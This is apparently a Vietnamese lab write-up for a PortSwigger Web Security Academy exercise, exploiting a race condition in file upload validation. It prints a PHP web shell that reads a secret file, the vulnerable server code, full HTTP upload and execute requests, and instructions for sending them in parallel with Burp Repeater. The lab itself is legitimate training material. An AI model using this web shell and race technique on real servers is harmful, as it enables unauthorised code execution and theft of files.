Thử upload web shell sau:
<?php echo file_get_contents('/home/carlos/secret'); ?>
Server response như sau:
HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 09:11:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Mã nguồn có chứa race condition:
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
Phân tích đoạn code trên:
- Tập tin được upload được di chuyển vào thư mục
avatars/
một cách tạm thời thông qua hàmmove_uploaded_file
. - Sau đó, tập tin được validate bởi hàm
checkViruses
và hàmcheckFileType
. - Nếu tập tin không pass được validation thì server sẽ gọi hàm
unlink
để xóa tập tin và trả về chuỗi"Sorry, there was an error uploading your file."
như trong response ở trên.
Request upload tập tin:
POST /my-account/avatar HTTP/2
Host: 0a4c00260405e04081941b7600d90011.web-security-academy.net
Cookie: session=czhPRuQJnRN1jAK911GySBHdTJPcSNFk
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a4c00260405e04081941b7600d90011.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9eVcpwF2m2eZfbjd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4c00260405e04081941b7600d90011.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i
------WebKitFormBoundary9eVcpwF2m2eZfbjd
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary9eVcpwF2m2eZfbjd
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary9eVcpwF2m2eZfbjd
Content-Disposition: form-data; name="csrf"
PTykkirrscmApS6GEXWF71TyuEVs8Uyk
------WebKitFormBoundary9eVcpwF2m2eZfbjd--
Request thực thi tập tin:
GET /files/avatars/webshell.php HTTP/2
Host: 0a4c00260405e04081941b7600d90011.web-security-academy.net
Cookie: session=czhPRuQJnRN1jAK911GySBHdTJPcSNFk
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Sec-Ch-Ua-Platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a4c00260405e04081941b7600d90011.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=2, i
Dùng tính năng “Sending requests in parallel” của Burp Repeater để gửi hai request này song song với nhau.
Response của request upload tập tin cho thấy tập tin bị server từ chối:
HTTP/2 403 Forbidden
Date: Wed, 24 Apr 2024 09:28:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 171
Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Tuy nhiên, response của request gửi đến endpoint của tập tin cho thấy tập tin đã được thực thi thành công:
HTTP/2 200 OK
Date: Wed, 24 Apr 2024 09:28:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32
W85vUQoPdsAru3JNpM3Kaq1eMbfDG7oJ
Related
list
from outgoing([[Port Swigger - Exploiting Flawed Validation of File Uploads]])
sort file.ctime asc